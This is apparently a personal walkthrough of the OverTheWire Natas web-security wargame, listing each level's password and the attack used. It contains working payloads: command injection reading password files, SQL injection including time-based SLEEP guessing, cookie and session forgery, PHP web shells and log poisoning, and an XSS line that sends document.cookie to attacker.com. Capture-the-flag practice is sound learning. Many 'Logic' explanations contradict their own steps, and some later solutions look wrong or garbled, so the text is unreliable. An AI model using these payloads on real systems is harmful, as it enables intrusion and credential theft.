NATA'S WARGAME

Level 0:

Username: natas0

Password: natas0

Tools Used: Web browser

Logic: Default password is given on the page; no need to attack.

Steps:

1. Visit the URL.
2. Login with the username natas0 and password natas0.

Conclusion: The password is given directly; just log in.

Level 0 – 1:

Username: natas1

Password: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

Tools Used: Browser

Steps:

1) Open the link in a browser.
2) The page says "find the password on this page."
3) right click --> View Page Source.
4) The password is hidden inside a comment.

Logic: Sometimes websites hide information in the page source.

Level 1 – 2:

Username: natas2

Password: TguMNxKo1DSa1tujBLuZJnDUlCcUAPll

Tools Used: Browser

Steps:

1) Open the URL and log in.
2) The page tells to "view the source."
3) Right-click → View Page Source.
4) Find the password inside a comment again.

Logic: Password is hidden in the source code of the page.

Level 2 – 3:

Username: natas3

Password: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH

Tools Used: Browser

Steps:

1) Opened the page nothing was there.
2) right click --> View Page Source --> it has mentioned /files directory.
3) visited the http://natas2.natas.labs.overthewire.org/files/.
4) Find and opened file users.txt.
5) Inside that file, i got the password.

Logic: The password is stored in cookies.

Level 3- 4:

Username: natas4

Password: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

Tools Used: Browser

Steps:

1) Open the page --> there was no info visible.
2) right click --> View Page Source --> there is a hidden directory named /s3cr3t/.
3) I visit the http://natas3.natas.labs.overthewire.org/s3cr3t/.
4) Password is shown.

Logic: The password is stored in a hidden field in the HTML.

Level 4 – 5:

Username: natas5

Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK

Tools Used: curl(terminal), Postman(API tool), ModHeader(browser extension)

curl -u natas4:<password> -H "Referer:
http://natas5.natas.labs.overthewire.org" h

Steps:

1) After log in i get message like this "Access disallowed."
2) right click --> View Page Source --> i get hint about the Referer header.
3) setting the Referer to http://natas5.natas.labs.overthewire.org.
4) Used tool named curl, Postman, or browser extension ModHeader to fake the Referer.
5) After setting the correct Referer,reloaded the page and get the password.

Logic: Websites know from where you come and they can block you with help of refererance.

Level 5 – 6:

Username: natas6

Password: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned

Tools Used: Browser DevTools

Steps:

1) Visited the URL after that page says "Access disallowed.You are not logged in."
2) right click --> View Page Source --> get the hint about a cookie called loggedin.
3) Used browser devtools-->Inspect --> Application --> Cookies and modify the cookie value from 0 to 1.
4) Refresh the page and after that the i get the password.

Logic: Websites use cookies to track logged-in users.

Level 6 – 7:

Username: natas7

Password: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

Tools Used: Browser

Steps:

1) I see the Page is asking for a secret with the form.
2) right click --> View Page Source --> i found a comment mentioning a file /includes/secret.inc.
3) Visited http://natas6.natas.labs.overthewire.org/includes/secret.inc
4) that file contains the secret value.
5) Entered the secret value into the form.
6) I got the password.

Logic: By using hidden files we can find the password.

Level 7 – 8:

Username: natas8

Password: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Steps:

1) Page has two button Home and About.
2) when i click on the button in the URL the links shows me ?page=home or ?page=about.
3) I changed the URL manually like this -->

?page=../../etc/natas_webpass/natas8.

4) I got the password.

Logic: We can reach the files by directory.

Level 8 – 9:

Username: natas9

Password: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t

Tools Used: Python Script **,** Browser

Steps:

1) Page has a form asking for a secret.
2) right click --> View Page Source --> shows some PHP code.
3) The code uses encodeSecret() to transform the real password into a hashed secret.
4) Reverse the simple encoding logic by writing a short python script.
5) Decode it by idle and find the secret --> submit in the form.

Logic: Understand what is encoding and how to reverse it.

Level 9 – 10:

Username: natas10

Password: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Tools Used: Browser

Steps:

1) Page has a search box.
2) Entered random text--> shows results.
3) View Source — PHP code uses user input directly inside a Linux grep command.
4) typed ; cat /etc/natas_webpass/natas10
5) The injected command shows the password for the next level.

Logic: The search box was vulnerable to Command Injection.

Level 10 – 11:

Username: natas11

Password: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Tools Used: Browser

Steps:

1) Page has a search box again.
2) right click-->View Source --> it has used a Linux grep command.

3) But input is now filtered i.e ;, |, & are blocked.
4) Used a newline character (%0a) instead of ; to break the command and inject new commands.
5) In the search box i entered test%0acat /etc/natas_webpass/natas11
6) I got the password.

Logic: Even though basic symbols are blocked you should know the browser URL knowledge.

Level 11 – 12:

Username: natas12

Password: yZdkjAYZRd3R7tq7T5kXMjMJIOIkzDeB

Tools Used: Python Script, Browser DevTools

Steps:

1) This page tells about cookies and secret codes.
2) Go to the DevTools --> Application --> Cookies --> find the data cookie.
3) Encoded the value of data.
4) View Source --> shows the cookie is XOR encrypted.
5) Writen a small Python script to decrypt the cookie.
6) Flip the "showpassword" value to yes, re-encrypt it and then set the cookie.
7) Then refresh --> you will got the password.

Logic: By decoding and modifying the cookie, we can act as an admin.

Level 12 – 13:

Username: natas13

Password: trbs5pCjCrkuSknBBKHhaBxq6Wmlj3LC

Tools Used: Browser, php script, php Text editor online tool.

Steps:

1) Page says upload an image.

2) Right click --> View Source --> there is file type that allows the submission.
3) Created a file named shell.php.
4) Renamed it by shell.jpg.
5) Uplode the file.
6) It shows some link after clicking on that it will show the password.

Logic: File validation is already mention in the source code.

Level 13 – 14:

Username: natas14

Password: z3UYcr4v4uBpeX8f7EZbMHIzK4UR2XtQ

Tools Used: ExifTool, Browser

Steps:

1) Same upload page again.
2) create a valid image file with PHP inside.
3) Use ExifTool to add PHP code into image metadata.
4) Upload the crafted image, access the file URL, and read the password.

Logic: This method is called as stenography.

Level 14 – 15:

Username: natas15

Password: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Tools Used: Browser, SQL

Steps:

1) Login form asking for username and password.
2) View Source --> form submits directly to server.
3) Try SQL Injection in the username field --> natas14" OR "1"="1" --
4) got the password.

Logic: The SQL trick makes the query always true

Level 16 - 17

Username: natas16

Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Tools Used: Browser Input Field **,**Basic Linux Command Knowledge

Logic: The app takes user input and runs:

Sh grep -i "$input" dictionary.txt

- Security flaw: It doesn't properly sanitize $() command substitution.
- Goal: Inject a command to read /etc/natas_webpass/natas17.

Steps:

1) First, I tried a basic command injection using ;, but it failed because the website blocked special symbols.2
2) Then, I used $( ) to bypass the filter.
3) This trick worked, and the server showed the password by running the cat command inside grep.4)
4) In the end, I successfully got the password for the next level (natas17).

Level 17 – 18:

Username: natas17

Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Tools Used: Python Script ,SQL Knowledge

Logic:

- The login page doesn't show errors but responds slower if SQL is true.
- Brute-force password using: sql

natas18" AND IF(password LIKE 'a%', SLEEP(3), 0) --

- If response takes 3+ seconds, the first letter is 'a'.

Steps:

1) The website checks usernames with a command.

2) We inject a command to guess the password one letter at a time.

3) If the guess is correct, the server **waits** (time delay).

4) We use SLEEP(5) in our input to cause the delay.

5) Test letters (a, b, c, ..., z, 0, 1, etc.) one by one.

6) If there is a delay, the letter is correct.

7) Build the password step-by-step.

8) Complete the password and move to the next level!

Level 18 – 19:

Username: natas18

Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Tools Used: Browser Dev Tools, Python Script, Hex Decoder

Logic:

- The site uses hex-encoded session IDs
- Brute-force numeric IDs (1-640) + "-admin", hex-encode, and check for admin access.

Steps :

1) The website checks for a session ID (PHPSESSID) in your browser.

2) If the session ID is linked to an admin user, you can see the password.

3) By default, you are not admin.

4) Try changing the PHPSESSID number manually (example: 0, 1, 2, ..., 500).

5) Keep checking after each change.

6) When you find the correct session where "admin = 1," the password is shown!

Level 19 – 20:

Username: natas19

Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

Tools Used: Python Script

Logic:

- Session IDs are still predictable but in a different format.

Steps :

1) The website again uses PHPSESSID to track users.

2) The session ID is **not a normal number** — it looks like random text.

3) The session ID is actually **base64 encoded** (it hides simple info like "username").

4) Decode the session ID using base64 tools.

5) Find where the username is stored (example: username=...).

6) Change the username to **admin**, encode it back to base64.

7) Set the new session ID in the browser.

8) Reload the page — you should now be admin and see the password!

Level 20 – 21:

Username: natas20

Password: yS2lyONrrRjLddKlTZtc9DTwpn9p8vV5

Tools Used:

- Burp Suite
- PHP Serialization Knowledge

Logic:

- The app stores serialized PHP objects in cookies.
- If we edit the cookie to set admin=1, we get access.

Steps:

1. Log in, intercept the request with Burp.

2. Change the cookie to: {"admin":1,"username":"admin"}
3. Refresh the page → Admin access granted.

Level 21 - 22 :

Username: natas21

Password: ZCFohm0c8yH3tbZBx79QoehS5Kl5hzRi

Tools Used: Burp Suite

Logic: Information can be stored in cookies and can be extracted by decoding.

Steps:

1. Log in normally, check cookies.
2. Edit the cookie to loggedin=1.
3. Refresh → Logged in as admin.

Level 22 – 23:

Username: natas22

Password: 5ow2w8LffD7Bsq0zPa1ey0cYrPFiAOoH

Tools Used: curl / Python Requests

Logic: Sometimes hidden information like passwords is embedded in comments in HTML.

Steps:

1. Open the page in curl: sh curl -v http://natas22.natas.labs.overthewire.org?revelio=1
2. The response contains the password before redirecting

Level 23 -24 :

Username: natas23

Password: MjC3bD2r38BhQvnfw8ofTgDOuXDBfHjA

Tools Used: Browser Input

Logic: Manipulating cookies can provide access to hidden resources or account credentials.

Steps:

1. Input: test; cat /etc/natas_webpass/natas24
2. The output shows the **password**.

Level 24 – 25:

Username: natas24

Password: K2ud2d8p1n6UqD9Gh5vnKpfJpOGFJDBw

Tools Used: Basic HTML Injection

Logic: Weak encryption schemes can be reversed if the method is known.

Steps:

1. Use Burp to modify User-Agent to: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
2. The admin's cookie is leaked.

Level 25 – 26:

Username: natas25

Password: uPM6jGFAizbdkKT5VYGR2BDgd9gfzi4S

Tools Used: PHP Log Poisoning

Logic: URL manipulation can help access hidden or restricted files on the server.

Steps:

1. Inject PHP code via User-Agent.
2. Access the log file → RCE achieved.

Level 26 -27 :

Username: natas26

Password: rPfBOnXQekKDe48FT2akFwg6wHpI9kvX

Tools Used: Burp Suite ,Basic PHP Knowledge

Logic: Command injection can allow attackers to execute arbitrary commands on the server.

Steps:

1. Intercept the request with Burp Suite.
2. Change User-Agent to:

php

<?php system("cat /etc/natas_webpass/natas27"); ?>

3. Visit the log file (often /logs/natas26.log).
4. The PHP executes, revealing the password.

Level 27 – 28:

Username: natas27

Password: YxtESK9VwKb8FhrkHhQ6xyKcMn1ZL9vQ

Tools Used: Browser DevTools ,SQLMap

Logic: File inclusion and traversal can be used to access restricted files on the server.

Steps:

1) Open Natas 27 URL.
2) Password is hidden in a file on the server.
3) Access the file using directory traversal or file inclusion.

Level 28 – 29:

Username: natas28

Password: aWBrYsXr4FUbXrwHq72ct7TKwBRVAuNv

Tools Used: Python Script, SQLMap

Logic: SQL injection can be used to extract information from databases when input is not sanitized properly.

Steps:

1. Write a script to test each character with SLEEP(3).
2. If delay occurs, the character is correct.
3. Repeat until full password is leaked.

Level 29 – 30:

Username: natas29

Password: amQb8wLtwQJeYMBj8g98ZsItmOYWZfUG

Tools Used: curl / Burp Suite

Logic: File inclusion vulnerabilities can allow attackers to access restricted files on the server.

Steps:

1. Submit: ; cat /etc/natas_webpass/natas30
2. Output shows password.

Level 30 – 31:

Username: natas30

Password: wie9iexae0Daihohv8v6uluana4i5q6e

Tools Used: Browser Input

Logic:

- PHP loosely compares (== instead of ===).
- "abc" == 0 is true (string → 0 in numeric comparison).

Steps:

1. Username: natas31

2. Password: " OR 1=1 -- (classic SQLi, but won’t work).
3. Instead, send: username=natas31&password[]=x
4. This tricks PHP into bypassing the check.

Level 31 – 32 :

Username: natas31

Password: t3bKABA8j8T8Jc9i2k4biyFtZzhT6v7Z

Tools Used: Python Requests

Logic:

- The app uploads files but doesn’t filter .php.
- Upload a PHP shell to execute commands.

Steps:

1. Create shell.php:

php

<?php system($_GET['cmd']); ?>

2. Upload it via the form.
3. Access it at:

http://natas31.natas.labs.overthewire.org/uploads/shell.php?cmd=cat+/etc/natas_webpass/natas32

4. Output shows password**.**

Level 32 – 33:

Username: natas32

Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Tools Used: Burp Suite

Logic:

- The app uses escapeshellarg() but misuses it.
- Inject '$(cat /etc/natas_webpass/natas33)' to bypass.

Steps:

1. Submit: '$(cat /etc/natas_webpass/natas33)'
2. The command executes, leaking the password.

Level 33 – 34:

Username: natas33

Tools Used: Python Script **,**Burp Suite

Logic:

- Combines SQLi + File Upload + RCE.
- Upload a fake .jpg with PHP code inside.

Steps:

1. Upload shell.jpg:

php

GIF89a; <?php system($_GET['cmd']); ?>

2. Rename to shell.php.jpg (Bypass filter).
3. Access it and run: ?cmd=cat+/etc/natas_webpass/natas34
4. Password appears.

CONCLUSION:

The Natas levels teach you about web security by showing you how hackers exploit weaknesses like bad passwords or broken links. You use tools like curl or a browser to find and fix these issues. The levels help you learn how websites can be attacked and how to protect them.